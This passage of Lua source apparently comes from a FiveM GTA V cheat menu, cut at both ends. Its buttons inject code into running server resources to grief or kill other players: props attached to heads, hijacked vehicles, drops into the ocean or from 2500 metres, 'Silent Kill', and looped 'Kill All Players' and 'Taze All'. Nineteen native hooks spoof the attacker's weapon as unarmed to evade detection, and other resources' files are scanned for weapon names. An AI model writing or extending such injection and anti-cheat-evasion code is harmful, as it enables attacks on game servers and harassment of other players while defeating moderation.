                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then showNotify('Select a player first!', 'error') return end
                            injectCode('monitor', string.format([[
                                SafeRunNative(CreateThread, function()
                                    local targetID = %d
                                    local targetPed = SafeRunNative(GetPlayerPed, SafeRunNative(GetPlayerFromServerId, targetID))
                                    if not SafeRunNative(DoesEntityExist, targetPed) then return end
                                    local modelHash = SafeRunNative(GetHashKey, 'prop_toilet_01')
                                    SafeRunNative(RequestModel, modelHash)
                                    local timer = SafeRunNative(GetGameTimer)
                                    while not SafeRunNative(HasModelLoaded, modelHash) do
                                        SafeRunNative(Wait, 0)
                                        if (SafeRunNative(GetGameTimer) - timer) > 5000 then return end
                                    end
                                    local coords = SafeRunNative(GetEntityCoords, targetPed)
                                    local toilet = SafeRunNative(CreateObject, modelHash, coords.x, coords.y, coords.z, true, true, false)
                                    SafeRunNative(SetModelAsNoLongerNeeded, modelHash)
                                    local headBone = SafeRunNative(GetPedBoneIndex, targetPed, 12844)
                                    SafeRunNative(AttachEntityToEntity, toilet, targetPed, headBone, 0.0, 0.0, 0.25, 0.0, 0.0, 180.0, false, false, false, false, 2, true)
                                    while SafeRunNative(DoesEntityExist, targetPed) and SafeRunNative(DoesEntityExist, toilet) do
                                        SafeRunNative(Wait, 1000)
                                    end
                                    if SafeRunNative(DoesEntityExist, toilet) then SafeRunNative(DeleteEntity, toilet) end
                                end)
                            ]], selectedPlayer))
                            showNotify('Toilet attached to ' .. tostring(selectedPlayer), 'success')
                        end
                    },
                    {
                        type = 'button',
                        label = 'Tree On Player',
                        desc = 'Spawns a frozen tree on the selected player.',
                        onConfirm = function()
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then showNotify('Select a player first!', 'error') return end
                            injectCode('monitor', string.format([[
                                SafeRunNative(CreateThread, function()
                                    local targetID = %d
                                    local targetPed = SafeRunNative(GetPlayerPed, SafeRunNative(GetPlayerFromServerId, targetID))
                                    if not SafeRunNative(DoesEntityExist, targetPed) then return end
                                    local modelHash = SafeRunNative(GetHashKey, 'test_tree_forest_trunk_01')
                                    SafeRunNative(RequestModel, modelHash)
                                    local timer = SafeRunNative(GetGameTimer)
                                    while not SafeRunNative(HasModelLoaded, modelHash) do
                                        SafeRunNative(Wait, 0)
                                        if (SafeRunNative(GetGameTimer) - timer) > 5000 then return end
                                    end
                                    local coords = SafeRunNative(GetEntityCoords, targetPed)
                                    local tree = SafeRunNative(CreateObject, modelHash, coords.x, coords.y, coords.z - 1.0, true, true, false)
                                    if tree and tree > 0 then
                                        SafeRunNative(SetEntityAsMissionEntity, tree, true, true)
                                        SafeRunNative(FreezeEntityPosition, tree, true)
                                        SafeRunNative(SetEntityInvincible, tree, true)
                                    end
                                    SafeRunNative(SetModelAsNoLongerNeeded, modelHash)
                                end)
                            ]], selectedPlayer))
                            showNotify('Tree spawned on ' .. tostring(selectedPlayer), 'success')
                        end
                    },
                    {
                        type = 'button',
                        label = 'Glitch Player',
                        desc = 'Physics glitch loop — attaches your ped to target 15x with 150 force then detaches.',
                        onConfirm = function()
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then showNotify('Select a player first!', 'error') return end
                            injectCode('monitor', string.format([[
                                SafeRunNative(CreateThread, function()
                                    local targetID = %d
                                    local targetPed = SafeRunNative(GetPlayerPed, SafeRunNative(GetPlayerFromServerId, targetID))
                                    if not SafeRunNative(DoesEntityExist, targetPed) then return end
                                    local myPed = SafeRunNative(PlayerPedId)
                                    for i = 1, 15 do
                                        if not SafeRunNative(DoesEntityExist, targetPed) then break end
                                        local c = SafeRunNative(GetEntityCoords, targetPed)
                                        SafeRunNative(SetEntityCoords, myPed, c.x, c.y, c.z + 0.5, false, false, false, true)
                                        SafeRunNative(Wait, 50)
                                        SafeRunNative(AttachEntityToEntityPhysically, myPed, targetPed, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 150.0, 0.0, 1, false, false, 1, 2)
                                        SafeRunNative(Wait, 50)
                                        SafeRunNative(DetachEntity, myPed, true, true)
                                        SafeRunNative(Wait, 100)
                                    end
                                end)
                            ]], selectedPlayer))
                            showNotify('Glitching ' .. tostring(selectedPlayer), 'success')
                        end
                    },
                    {
                        type = 'button',
                        label = 'NPC Hijack',
                        desc = 'Steals control of target\'s vehicle and spawns an NPC driver to wander.',
                        onConfirm = function()
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then showNotify('Select a player first!', 'error') return end
                            injectCode('monitor', string.format([[
                                SafeRunNative(CreateThread, function()
                                    local targetID = %d
                                    local targetPed = SafeRunNative(GetPlayerPed, SafeRunNative(GetPlayerFromServerId, targetID))
                                    if not SafeRunNative(DoesEntityExist, targetPed) then return end
                                    local vehicle = SafeRunNative(GetVehiclePedIsUsing, targetPed)
                                    if not vehicle or vehicle == 0 or not SafeRunNative(DoesEntityExist, vehicle) then return end
                                    local driver = SafeRunNative(GetPedInVehicleSeat, vehicle, -1)
                                    SafeRunNative(NetworkRequestControlOfEntity, vehicle)
                                    local startT = SafeRunNative(GetGameTimer)
                                    while not SafeRunNative(NetworkHasControlOfEntity, vehicle) and (SafeRunNative(GetGameTimer) - startT) < 2000 do
                                        SafeRunNative(NetworkRequestControlOfEntity, vehicle)
                                        SafeRunNative(Wait, 0)
                                    end
                                    if driver and driver ~= 0 and SafeRunNative(DoesEntityExist, driver) then
                                        SafeRunNative(ClearPedTasksImmediately, driver)
                                    end
                                    local pedModel = SafeRunNative(GetHashKey, 'mp_m_freemode_01')
                                    SafeRunNative(RequestModel, pedModel)
                                    local timer = SafeRunNative(GetGameTimer)
                                    while not SafeRunNative(HasModelLoaded, pedModel) do
                                        SafeRunNative(Wait, 0)
                                        if (SafeRunNative(GetGameTimer) - timer) > 5000 then return end
                                    end
                                    local npc = SafeRunNative(CreatePedInsideVehicle, vehicle, 4, pedModel, -1, false, false)
                                    SafeRunNative(SetModelAsNoLongerNeeded, pedModel)
                                    if npc and npc > 0 then
                                        SafeRunNative(TaskVehicleDriveWander, npc, vehicle, 60.0, 786603)
                                    end
                                end)
                            ]], selectedPlayer))
                            showNotify('NPC hijacked vehicle of ' .. tostring(selectedPlayer), 'success')
                        end
                    },
                    { type = 'divider', label = 'Junkie Extended' },
                    {
                        label = 'Drop In Ocean',
                        desc = 'Carry/piggyback target to ocean floor coords (-3000, 3000, -100). Enter server ID.',
                        type = 'button',
                        onConfirm = function()
                            showInput('Player Server ID', '', function(raw)
                                local sid = tonumber(raw)
                                if not sid then showNotify('Invalid server ID', 'error') return end
                                local pid = GetPlayerFromServerId(sid)
                                if not pid or pid < 0 then showNotify('Player not found', 'error') return end
                                injectCode('monitor', [[
                                    SafeRunNative(CreateThread, function()
                                        local targetPed = SafeRunNative(GetPlayerPed, ]] .. pid .. [[)
                                        if not SafeRunNative(DoesEntityExist, targetPed) then return end
                                        local myPed = SafeRunNative(PlayerPedId)
                                        local origCoords = SafeRunNative(GetEntityCoords, myPed)
                                        local targetCoords = SafeRunNative(GetEntityCoords, targetPed)
                                        SafeRunNative(SetEntityVisible, myPed, false, false)
                                        SafeRunNative(SetEntityCoords, myPed, targetCoords.x, targetCoords.y, targetCoords.z + 1.0, false, false, false, true)
                                        SafeRunNative(Wait, 500)
                                        SafeRunNative(ExecuteCommand, "pb")
                                        SafeRunNative(ExecuteCommand, "carry")
                                        SafeRunNative(ExecuteCommand, "piggyback")
                                        SafeRunNative(Wait, 1500)
                                        SafeRunNative(SetEntityCoords, myPed, -3000.0, 3000.0, -100.0, false, false, false, true)
                                        SafeRunNative(Wait, 800)
                                        SafeRunNative(ExecuteCommand, "pb")
                                        SafeRunNative(ExecuteCommand, "carry")
                                        SafeRunNative(ExecuteCommand, "piggyback")
                                        SafeRunNative(Wait, 1500)
                                        SafeRunNative(SetEntityCoords, myPed, origCoords.x, origCoords.y, origCoords.z, false, false, false, true)
                                        SafeRunNative(SetEntityVisible, myPed, true, false)
                                    end)
                                ]])
                                showNotify('Dropping player in ocean', 'success')
                            end)
                        end
                    },
                    {
                        label = 'Teleport to Death',
                        desc = 'Carry target to 2500z — kills from fall damage on release. Enter server ID.',
                        type = 'button',
                        onConfirm = function()
                            showInput('Player Server ID', '', function(raw)
                                local sid = tonumber(raw)
                                if not sid then showNotify('Invalid server ID', 'error') return end
                                local pid = GetPlayerFromServerId(sid)
                                if not pid or pid < 0 then showNotify('Player not found', 'error') return end
                                injectCode('monitor', [[
                                    SafeRunNative(CreateThread, function()
                                        local targetPed = SafeRunNative(GetPlayerPed, ]] .. pid .. [[)
                                        if not SafeRunNative(DoesEntityExist, targetPed) then return end
                                        local myPed = SafeRunNative(PlayerPedId)
                                        local origCoords = SafeRunNative(GetEntityCoords, myPed)
                                        local targetCoords = SafeRunNative(GetEntityCoords, targetPed)
                                        SafeRunNative(SetEntityVisible, myPed, false, false)
                                        SafeRunNative(SetEntityCoords, myPed, targetCoords.x, targetCoords.y, targetCoords.z + 1.0, false, false, false, true)
                                        SafeRunNative(Wait, 500)
                                        SafeRunNative(ExecuteCommand, "pb")
                                        SafeRunNative(ExecuteCommand, "carry")
                                        SafeRunNative(Wait, 1500)
                                        SafeRunNative(SetEntityCoords, myPed, targetCoords.x, targetCoords.y, 2500.0, false, false, false, true)
                                        SafeRunNative(Wait, 800)
                                        SafeRunNative(ExecuteCommand, "pb")
                                        SafeRunNative(ExecuteCommand, "carry")
                                        SafeRunNative(Wait, 1500)
                                        SafeRunNative(SetEntityCoords, myPed, origCoords.x, origCoords.y, origCoords.z, false, false, false, true)
                                        SafeRunNative(SetEntityVisible, myPed, true, false)
                                    end)
                                ]])
                                showNotify('Teleport to death sent', 'success')
                            end)
                        end
                    },
                    {
                        label = 'Silent Kill Player',
                        desc = 'Spoofs weapon to UNARMED via 19 native hooks, scans custom weapons, fires targeted shots. Enter server ID.',
                        type = 'button',
                        onConfirm = function()
                            showInput('Player Server ID', '', function(raw)
                                local targetSid = tonumber(raw)
                                if not targetSid then showNotify('Invalid server ID', 'error') return end
                                local UNARMED = -1569615261
                                if not _G.JunkieSpoofActive then
                                    MachoHookNative(0x3A87E44BB9A01D54, function(ped, p2) if ped == PlayerPedId() then return false, UNARMED end end)
                                    MachoHookNative(0x0A6DB4965674D243, function(ped) if ped == PlayerPedId() then return false, UNARMED end return true end)
                                    MachoHookNative(0x8483E98E8B888AE2, function(ped) if ped == PlayerPedId() then return false, UNARMED end return true end)
                                    MachoHookNative(0x475768A975D5AD17, function(ped) if ped == PlayerPedId() then return false, false end return true end)
                                    MachoHookNative(0x8DECB02F88F428BC, function(ped) if ped == PlayerPedId() then return false, false end return true end)
                                    MachoHookNative(0x2E1202248937775C, function(ped) if ped == PlayerPedId() then return false, false, 0 end return true end)
                                    MachoHookNative(0xA48931185F0536FE, function() return false, UNARMED end)
                                    MachoHookNative(0x840F03E9041E2C9C, function(ped) if ped == PlayerPedId() then return false, 0.0 end return true end)
                                    MachoHookNative(0x4899CB088EDF59B8, function(ped) if ped == PlayerPedId() then return false end return true end)
                                    MachoHookNative(0x3B390A939AF0B5FC, function(ped) if ped == PlayerPedId() then return false, 0 end return true end)
                                    MachoHookNative(0xB80CA294F2F26749, function(ped) if ped == PlayerPedId() then return false, false end return true end)
                                    MachoHookNative(0x34616828CD07F1A1, function(ped) if ped == PlayerPedId() then return false, false end return true end)
                                    MachoHookNative(0x24B100C68C645951, function(ped) if ped == PlayerPedId() then return false, false end return true end)
                                    MachoHookNative(0xA13E93403F26C812, function() return false, UNARMED end)
                                    MachoHookNative(0xBC4C9EA5391ECC0D, function(id) if id == 2 or id == 19 or id == 20 then return false, false end return true end)
                                    MachoHookNative(0x2975C866E6713290, function(player) if player == PlayerId() then return false, false, 0 end return true end)
                                    MachoHookNative(0x79CFD9827CC979B6, function() return false, 1 end)
                                    MachoHookNative(0x3BE0BB12D25FB305, function() return false, 0 end)
                                    MachoHookNative(0xB2C086CC1BF8F2BF, function(ped) if ped == PlayerPedId() then return false, false end return true end)
                                    _G.JunkieSpoofActive = true
                                end
                                Wait(500)
                                injectCode('monitor', [[
    SafeRunNative(CreateThread, function()
        local targetSid = ]] .. targetSid .. [[
        local GTA = {
            WEAPON_UNARMED=1,WEAPON_BALL=1,WEAPON_BRIEFCASE=1,WEAPON_BRIEFCASE_02=1,
            WEAPON_GARBAGEBAG=1,WEAPON_HANDCUFFS=1,WEAPON_DIGISCANNER=1,WEAPON_FLASHLIGHT=1,WEAPON_METALDETECTOR=1,
            WEAPON_PISTOL=1,WEAPON_PISTOL_MK2=1,WEAPON_COMBATPISTOL=1,WEAPON_APPISTOL=1,WEAPON_PISTOL50=1,
            WEAPON_SNSPISTOL=1,WEAPON_SNSPISTOL_MK2=1,WEAPON_HEAVYPISTOL=1,WEAPON_VINTAGEPISTOL=1,WEAPON_FLAREGUN=1,
            WEAPON_MARKSMANPISTOL=1,WEAPON_REVOLVER=1,WEAPON_REVOLVER_MK2=1,WEAPON_DOUBLEACTION=1,WEAPON_RAYPISTOL=1,
            WEAPON_CERAMICPISTOL=1,WEAPON_NAVYREVOLVER=1,WEAPON_GADGETPISTOL=1,WEAPON_STUNGUN=1,WEAPON_PISTOLXM3=1,
            WEAPON_STUNGUN_MP=1,WEAPON_MICROSMG=1,WEAPON_SMG=1,WEAPON_SMG_MK2=1,WEAPON_ASSAULTSMG=1,
            WEAPON_COMBATPDW=1,WEAPON_MACHINEPISTOL=1,WEAPON_MINISMG=1,WEAPON_RAYCARBINE=1,WEAPON_TACTICALSMG=1,
            WEAPON_ASSAULTRIFLE=1,WEAPON_ASSAULTRIFLE_MK2=1,WEAPON_CARBINERIFLE=1,WEAPON_CARBINERIFLE_MK2=1,
            WEAPON_ADVANCEDRIFLE=1,WEAPON_SPECIALCARBINE=1,WEAPON_SPECIALCARBINE_MK2=1,WEAPON_BULLPUPRIFLE=1,
            WEAPON_BULLPUPRIFLE_MK2=1,WEAPON_COMPACTRIFLE=1,WEAPON_MILITARYRIFLE=1,WEAPON_HEAVYRIFLE=1,
            WEAPON_TACTICALRIFLE=1,WEAPON_BATTLERIFLE=1,WEAPON_MG=1,WEAPON_COMBATMG=1,WEAPON_COMBATMG_MK2=1,
            WEAPON_GUSENBERG=1,WEAPON_PUMPSHOTGUN=1,WEAPON_PUMPSHOTGUN_MK2=1,WEAPON_SAWNOFFSHOTGUN=1,
            WEAPON_ASSAULTSHOTGUN=1,WEAPON_BULLPUPSHOTGUN=1,WEAPON_HEAVYSHOTGUN=1,WEAPON_DBSHOTGUN=1,
            WEAPON_AUTOSHOTGUN=1,WEAPON_COMBATSHOTGUN=1,WEAPON_MUSKET=1,WEAPON_SNIPERRIFLE=1,
            WEAPON_HEAVYSNIPER=1,WEAPON_HEAVYSNIPER_MK2=1,WEAPON_MARKSMANRIFLE=1,WEAPON_MARKSMANRIFLE_MK2=1,
            WEAPON_PRECISIONRIFLE=1,WEAPON_RPG=1,WEAPON_GRENADELAUNCHER=1,WEAPON_GRENADELAUNCHER_SMOKE=1,
            WEAPON_MINIGUN=1,WEAPON_FIREWORK=1,WEAPON_RAILGUN=1,WEAPON_RAILGUNXM3=1,WEAPON_HOMINGLAUNCHER=1,
            WEAPON_COMPACTLAUNCHER=1,WEAPON_RAYMINIGUN=1,WEAPON_EMPLAUNCHER=1,WEAPON_GRENADE=1,
            WEAPON_STICKYBOMB=1,WEAPON_PROXMINE=1,WEAPON_PIPEBOMB=1,WEAPON_MOLOTOV=1,WEAPON_FIREEXTINGUISHER=1,
            WEAPON_PETROLCAN=1,WEAPON_SMOKEGRENADE=1,WEAPON_FLARE=1,WEAPON_BZGAS=1,WEAPON_TEARGAS=1,
            WEAPON_SNOWBALL=1,WEAPON_SNOWLAUNCHER=1,WEAPON_HAZARDCAN=1,WEAPON_FERTILIZERCAN=1,
            WEAPON_KNIFE=1,WEAPON_KNUCKLE=1,WEAPON_NIGHTSTICK=1,WEAPON_HAMMER=1,WEAPON_BAT=1,
            WEAPON_GOLFCLUB=1,WEAPON_CROWBAR=1,WEAPON_BOTTLE=1,WEAPON_DAGGER=1,WEAPON_HATCHET=1,
            WEAPON_MACHETE=1,WEAPON_SWITCHBLADE=1,WEAPON_POOLCUE=1,WEAPON_WRENCH=1,WEAPON_BATTLEAXE=1,
            WEAPON_STONE_HATCHET=1,WEAPON_CANDYCANE=1,WEAPON_ANIMAL=1,WEAPON_COUGAR=1,
            WEAPON_HIT_BY_WATER_CANNON=1,WEAPON_RAMMED_BY_CAR=1,WEAPON_RUN_OVER_BY_CAR=1,
            WEAPON_DROWNING=1,WEAPON_DROWNING_IN_VEHICLE=1,WEAPON_FALL=1,WEAPON_EXPLOSION=1,
            WEAPON_FIRE=1,WEAPON_BLEEDING=1,
        }
        local DENY = {
            "KNIFE","KNUCKLE","NIGHTSTICK","HAMMER","_BAT","GOLFCLUB","CROWBAR","BOTTLE",
            "DAGGER","HATCHET","MACHETE","SWITCHBLADE","POOLCUE","WRENCH","BATTLEAXE",
            "AXE","KATANA","SWORD","_BLADE","CLUB","FIST","MELEE","SHANK","_PIPE","CHAIN",
            "PADDLE","KENDO","STICK","CANE","CANDYCANE","GRENADE","STICKYBOMB","PROXMINE",
            "PIPEBOMB","MOLOTOV","BZGAS","TEARGAS","SMOKEGRENADE","SNOWBALL","FLARE",
            "_BALL","_BOMB","_MINE","EXPLOSIVE","DYNAMITE","FLASHLIGHT","METALDETECTOR",
            "FIREEXTINGUISHER","PETROLCAN","HAZARDCAN","FERTILIZERCAN","BRIEFCASE",
            "GARBAGEBAG","HANDCUFFS","DIGISCANNER","STUNGUN","TASER","_STUN","CAMERA",
            "CELLPHONE","BINOCULARS","MUSKET","BALL_",
        }
        local function isFirearm(n)
            local u = n:upper()
            for _, bad in ipairs(DENY) do
                if u:find(bad, 1, true) then return false end
            end
            return true
        end
        if not _G.__JunkieFirearmCache then
            local found = {}
            local files = {"config.lua","weapons.lua","items.lua","main.lua","shared/weapons.lua","client/weapons.lua","data/weapons.lua","shared/items.lua","config/weapons.lua","configs/weapons.lua"}
            for i = 0, SafeRunNative(GetNumResources) - 1 do
                local res = SafeRunNative(GetResourceByFindIndex, i)
                if res and res ~= "" and SafeRunNative(GetResourceState, res) == "started" then
                    for _, file in ipairs(files) do
                        local content = SafeRunNative(LoadResourceFile, res, file)
                        if content then
                            for w in content:gmatch('"(WEAPON_[%w_]+)"') do
                                if not GTA[w] and isFirearm(w) then found[w] = true end
                            end
                            for w in content:gmatch("'(WEAPON_[%w_]+)'") do
                                if not GTA[w] and isFirearm(w) then found[w] = true end
                            end
                        end
                    end
                end
            end
            local list = {}
            for w in pairs(found) do list[#list+1] = w end
            _G.__JunkieFirearmCache = list
        end
        local targetPlayer = SafeRunNative(GetPlayerFromServerId, targetSid)
        if targetPlayer == -1 then return end
        local targetPed = SafeRunNative(GetPlayerPed, targetPlayer)
        local myPed = SafeRunNative(PlayerPedId)
        if not SafeRunNative(DoesEntityExist, targetPed) or not SafeRunNative(DoesEntityExist, myPed) then return end
        local pool = _G.__JunkieFirearmCache or {}
        if #pool == 0 then return end
        local weapon = pool[math.random(#pool)]
        local wh = SafeRunNative(GetHashKey, weapon)
        SafeRunNative(RequestWeaponAsset, wh, 31, 0)
        local timeout = SafeRunNative(GetGameTimer) + 1500
        while not SafeRunNative(HasWeaponAssetLoaded, wh) and SafeRunNative(GetGameTimer) < timeout do
            SafeRunNative(Wait, 0)
        end
        SafeRunNative(GiveWeaponToPed, myPed, wh, 50, false, false)
        SafeRunNative(SetCurrentPedWeapon, myPed, wh, true)
        SafeRunNative(Wait, 60)
        local zMin, zMax = -0.2, 1.8
        for i = 1, 6 do
            if not SafeRunNative(DoesEntityExist, targetPed) then break end
            local tc = SafeRunNative(GetEntityCoords, targetPed)
            local fwd = SafeRunNative(GetEntityForwardVector, targetPed)
            local t = (i - 1) / 5
            local zOff = zMin + t * (zMax - zMin)
            SafeRunNative(ShootSingleBulletBetweenCoords,
                tc.x + fwd.x, tc.y + fwd.y, tc.z + zOff,
                tc.x, tc.y, tc.z + zOff,
                199, true, wh, myPed, false, true, 100.0)
            SafeRunNative(Wait, 15)
        end
        local unarmed = SafeRunNative(GetHashKey, "WEAPON_UNARMED")
        SafeRunNative(SetCurrentPedWeapon, myPed, unarmed, true)
        SafeRunNative(RemoveWeaponFromPed, myPed, wh)
    end)
    ]])
                                CreateThread(function()
                                    Wait(3000)
                                    local spoofHashes = {
                                        0x3A87E44BB9A01D54,0x0A6DB4965674D243,0x8483E98E8B888AE2,0x475768A975D5AD17,
                                        0x8DECB02F88F428BC,0x2E1202248937775C,0xA48931185F0536FE,0x840F03E9041E2C9C,
                                        0x4899CB088EDF59B8,0x3B390A939AF0B5FC,0xB80CA294F2F26749,0x34616828CD07F1A1,
                                        0x24B100C68C645951,0xA13E93403F26C812,0xBC4C9EA5391ECC0D,0x2975C866E6713290,
                                        0x79CFD9827CC979B6,0x3BE0BB12D25FB305,0xB2C086CC1BF8F2BF
                                    }
                                    for _, h in ipairs(spoofHashes) do
                                        MachoHookNative(h, function() return true end)
                                    end
                                    _G.JunkieSpoofActive = false
                                end)
                                showNotify('Silent kill sent to ' .. tostring(targetSid), 'success')
                            end)
                        end
                    },
                    {
                        label = 'Force Fall Player',
                        desc = 'Grabs network control of target ped and forces a 5-second ragdoll.',
                        type = 'button',
                        onConfirm = function()
                            showInput('Player Server ID', '', function(raw)
                                local sid = tonumber(raw)
                                if not sid then showNotify('Invalid server ID', 'error') return end
                                injectCode('any', string.format([[
                                    SafeRunNative(CreateThread, function()
                                        local targetPlayer = SafeRunNative(GetPlayerFromServerId, %d)
                                        if targetPlayer == -1 then return end
                                        local targetPed = SafeRunNative(GetPlayerPed, targetPlayer)
                                        if not SafeRunNative(DoesEntityExist, targetPed) then return end
                                        SafeRunNative(NetworkRequestControlOfEntity, targetPed)
                                        local deadline = SafeRunNative(GetGameTimer) + 2000
                                        while not SafeRunNative(NetworkHasControlOfEntity, targetPed) and SafeRunNative(GetGameTimer) < deadline do
                                            SafeRunNative(NetworkRequestControlOfEntity, targetPed)
                                            SafeRunNative(Wait, 50)
                                        end
                                        if not SafeRunNative(NetworkHasControlOfEntity, targetPed) then return end
                                        SafeRunNative(SetPedToRagdoll, targetPed, 5000, 5000, 0, true, true, false)
                                    end)
                                ]], sid))
                                showNotify('Force-falling player ' .. tostring(sid), 'success')
                            end)
                        end
                    },
                    {
                        label = 'Silent Heli Kill',
                        desc = 'Spawns an invincible buzzard 2m above the selected player — frozen rotors shred them silently.',
                        type = 'button',
                        onConfirm = function()
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then
                                showNotify('You must select a player first!', 'error')
                                return
                            end
                            injectCode('any', string.format([[
                                local SRN = SafeRunNative
                                CreateThread(function()
                                    local targetSid = %d
                                    local tp = SRN(GetPlayerPed, SRN(GetPlayerFromServerId, targetSid))
                                    if not SRN(DoesEntityExist, tp) then return end

                                    local model = SRN(GetHashKey, 'buzzard2')
                                    SRN(RequestModel, model)
                                    local t0 = SRN(GetGameTimer)
                                    while not SRN(HasModelLoaded, model) do
                                        Wait(0)
                                        if SRN(GetGameTimer) - t0 > 5000 then return end
                                    end

                                    local tc  = SRN(GetEntityCoords, tp)
                                    local hdg = SRN(GetEntityHeading, tp)
                                    local heli = SRN(CreateVehicle, model, tc.x, tc.y, tc.z + 2.0, hdg, true, true)
                                    if not SRN(DoesEntityExist, heli) then return end

                                    SRN(SetEntityAsMissionEntity, heli, true, true)
                                    SRN(SetEntityInvincible, heli, true)
                                    SRN(SetVehicleBodyHealth, heli, 1e7)
                                    SRN(SetVehicleEngineHealth, heli, 1e7)
                                    SRN(SetEntityRotation, heli, 180.0, 0.0, hdg, 2, true)
                                    SRN(SetVehicleEngineOn, heli, true, true, false)
                                    SRN(SetHeliBladesSpeed, heli, 1.0)
                                    SRN(FreezeEntityPosition, heli, true)

                                    local expire = SRN(GetGameTimer) + 8000
                                    while SRN(DoesEntityExist, heli) and SRN(GetGameTimer) < expire do
                                        local newTp = SRN(GetPlayerPed, SRN(GetPlayerFromServerId, targetSid))
                                        if newTp and SRN(DoesEntityExist, newTp) then
                                            local c = SRN(GetEntityCoords, newTp)
                                            SRN(SetEntityCoordsNoOffset, heli, c.x, c.y, c.z + 2.0, false, false, false)
                                        end
                                        Wait(0)
                                    end

                                    if SRN(DoesEntityExist, heli) then SRN(DeleteVehicle, heli) end
                                    SRN(SetModelAsNoLongerNeeded, model)
                                end)
                            ]], selectedPlayer))
                            showNotify('Silent heli deployed', 'success')
                        end
                    },
                    {
                        label = 'Kill All Players',
                        desc = 'Toggle: fires at all online players\' heads on loop.',
                        type = 'checkbox',
                        onConfirm = function(checked)
                            injectCode('monitor', string.format([[
                                _G.junkieKillAllActive = %s
                                if _G.junkieKillAllActive and not _G.junkieKillAllThread then
                                    _G.junkieKillAllThread = true
                                    local SRN = SafeRunNative
                                    local weapon = SRN(GetHashKey, 'WEAPON_ASSAULTRIFLE')
                                    SRN(GiveWeaponToPed, SRN(PlayerPedId), weapon, 9999, false, false)
                                    CreateThread(function()
                                        while _G.junkieKillAllActive do
                                            local myPed = SRN(PlayerPedId)
                                            local myId  = PlayerId()
                                            for _, pid in ipairs(GetActivePlayers() or {}) do
                                                if pid ~= myId then
                                                    local ped = SRN(GetPlayerPed, pid)
                                                    if SRN(DoesEntityExist, ped) and not SRN(IsPedDeadOrDying, ped, true) then
                                                        local hc = SRN(GetPedBoneCoords, ped, 31086, 0.0, 0.0, 0.0)
                                                        SRN(ShootSingleBulletBetweenCoords,
                                                            hc.x, hc.y, hc.z + 0.5,
                                                            hc.x, hc.y, hc.z,
                                                            -1, true, weapon, myPed, true, false, 500.0)
                                                    end
                                                end
                                            end
                                            Wait(200)
                                        end
                                        _G.junkieKillAllThread = nil
                                    end)
                                else
                                    _G.junkieKillAllActive = false
                                    _G.junkieKillAllThread = nil
                                end
                            ]], tostring(checked)))
                            showNotify('Kill All Players ' .. (checked and 'On' or 'Off'), checked and 'error' or 'info')
                        end
                    },
                    {
                        label = 'Taze All',
                        desc = 'Toggle: stuns every online player on loop.',
                        type = 'checkbox',
                        onConfirm = function(checked)
                            injectCode('monitor', string.format([[
                                _G.junkieTazeAllActive = %s
                                if _G.junkieTazeAllActive and not _G.junkieTazeAllThread then
                                    _G.junkieTazeAllThread = true
                                    local SRN = SafeRunNative
                                    local weapon = SRN(GetHashKey, 'WEAPON_STUNGUN')
                                    SRN(GiveWeaponToPed, SRN(PlayerPedId), weapon, 9999, false, false)
                                    CreateThread(function()
                                        while _G.junkieTazeAllActive do
                                            local myPed = SRN(PlayerPedId)
                                            local myId  = PlayerId()
                                            local dmg   = SRN(GetWeaponDamage, weapon) or 50
                                            for _, pid in ipairs(GetActivePlayers() or {}) do
                                                if pid ~= myId then
                                                    local ped = SRN(GetPlayerPed, pid)
                                                    if SRN(DoesEntityExist, ped) and not SRN(IsPedDeadOrDying, ped, true) then
                                                        local hc = SRN(GetPedBoneCoords, ped, 31086, 0.0, 0.0, 0.0)
                                                        SRN(ShootSingleBulletBetweenCoords,
                                                            hc.x, hc.y, hc.z + 0.3,
                                                            hc.x, hc.y, hc.z,
                                                            dmg, true, weapon, myPed, true, false, 100.0)
                                                        Wait(5)
                                                    end
                                                end
                                            end
                                            Wait(100)
                                        end
                                        _G.junkieTazeAllThread = nil
                                    end)
                                else
                                    _G.junkieTazeAllActive = false
                                    _G.junkieTazeAllThread = nil
                                end
                            ]], tostring(checked)))
                            showNotify('Taze All ' .. (checked and 'On' or 'Off'), checked and 'error' or 'info')
                        end
                    },
                    {
                        label = 'Silent Kill All',
                        desc = 'Toggle: invisible ghost NPC fires WEAPON_REMOTESNIPER at every nearby player\'s head.',
                        type = 'checkbox',
                        onConfirm = function(checked)
                            injectCode('monitor', string.format([[
                                _G.junkieSilentKillAll = %s
                                if _G.junkieSilentKillAll then
                                    if _G.junkieSKAShooter and SafeRunNative(DoesEntityExist, _G.junkieSKAShooter) then
                                        SafeRunNative(DeletePed, _G.junkieSKAShooter)
                                        _G.junkieSKAShooter = nil
                                    end
                                    CreateThread(function()
                                        local SRN    = SafeRunNative
                                        local weapon = SRN(GetHashKey, 'WEAPON_REMOTESNIPER')
                                        local dmg    = SRN(GetWeaponDamage, weapon) or 200
                                        local myPed  = SRN(PlayerPedId)
                                        local mc     = SRN(GetEntityCoords, myPed)
                                        local model  = SRN(GetEntityModel, myPed)
                                        SRN(RequestModel, model)
                                        while not SRN(HasModelLoaded, model) do Wait(0) end
                                        local shooter = SRN(CreatePed, 4, model, mc.x, mc.y, mc.z, 0.0, true, true)
                                        _G.junkieSKAShooter = shooter
                                        SRN(SetEntityVisible, shooter, false, false)
                                        SRN(SetEntityInvincible, shooter, true)
                                        SRN(FreezeEntityPosition, shooter, true)

                                        while _G.junkieSilentKillAll do
                                            local myPos = SRN(GetEntityCoords, SRN(PlayerPedId))
                                            local myId  = PlayerId()
                                            for _, pid in ipairs(GetActivePlayers() or {}) do
                                                if pid ~= myId then
                                                    local ped = SRN(GetPlayerPed, pid)
                                                    if SRN(DoesEntityExist, ped) and not SRN(IsPedDeadOrDying, ped, true) then
                                                        if #(myPos - SRN(GetEntityCoords, ped)) <= 300.0 then
                                                            local hc = SRN(GetPedBoneCoords, ped, 31086, 0.0, 0.0, 0.0)
                                                            for _, dir in ipairs({ vec3(1,0,0), vec3(-1,0,0), vec3(0,1,0), vec3(0,-1,0) }) do
                                                                SRN(ShootSingleBulletBetweenCoords,
                                                                    hc.x + dir.x, hc.y + dir.y, hc.z,
                                                                    hc.x, hc.y, hc.z,
                                                                    dmg, true, weapon, shooter, true, false, 1000.0)
                                                            end
                                                            Wait(50)
                                                        end
                                                    end
                                                end
